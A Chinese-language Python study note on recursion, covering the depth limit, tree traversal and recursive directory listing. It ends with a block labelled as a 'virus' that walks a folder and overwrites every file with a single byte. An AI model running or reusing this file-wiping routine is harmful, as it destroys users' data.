什么是递归?
函数自己调用自己,类似于死循环
def func():
print("递归")
func()
# 报错:maximum recursion depth exceeded while calling a Python object
# 你超过了Python的最大深度
#递归和while不同,如果递归可以无限跑,在调用函数的时候回产生一个局部空间,函数再次调用自己时会在局部空间再次创建一个局部空间,会把内存吃满,并且不可被释放,不管外层还是内层都不可回收.因为会影响到上层空间导致崩溃.最大递归深度是1000,但是跑不到1000.一般998.
while是执行一次创建一个空间,第二次又会创建一个单独的空间,并且可以回收之前的空间.
递归作用
树形结构的遍历
#树形结构的遍历-伪代码.
def func(node):
left = node.XXX
right = node.XXX
func(left)
func(right)
遍历目录结构
import os
def func(lujing):
a = os.listdir(lujing) #打开一个文件夹
for i in a: #i 是文件名字不是路径
path = os.path.join(lujing,i) #还原文件路径
if os.path.isdir(path): #判断是否是文件还是目录
print(i)
func(path) #再来一次
else:
print(i)
func("D:/新建/a")
#带有层次的显示
import os
def func(lujing,n):
a = os.listdir(lujing) #打开一个文件夹
for i in a: #i 是文件名字不是路径
path = os.path.join(lujing,i) #还原文件路径
if os.path.isdir(path): #判断是否是文件还是目录
print("\t" *n ,i)
func(path ,n + 1) #再来一次
else:
print("\t" *n ,i)
func("D:/新建/a" ,0)
# 最后输出
b
d
f
e
c
g
凡人修仙传.txt
h
##########################################
# 病毒!!!
import os
def func(lujing,n):
a = os.listdir(lujing) #打开一个文件夹
for i in a: #i 是文件名字不是路径
path = os.path.join(lujing,i) #拼接文件路径
if os.path.isdir(path): #判断是否是文件还是目录
print("\t" *n ,i)
func(path ,n + 1) #再来一次
else:
f = open(path,mode = "wb") #遍历打开所有文件
f.write(b'1') #将文件内容改为1
print("\t" *n ,i)
func("D:/新建/a" ,0)
明天推导式表达器,以后不写太多全靠水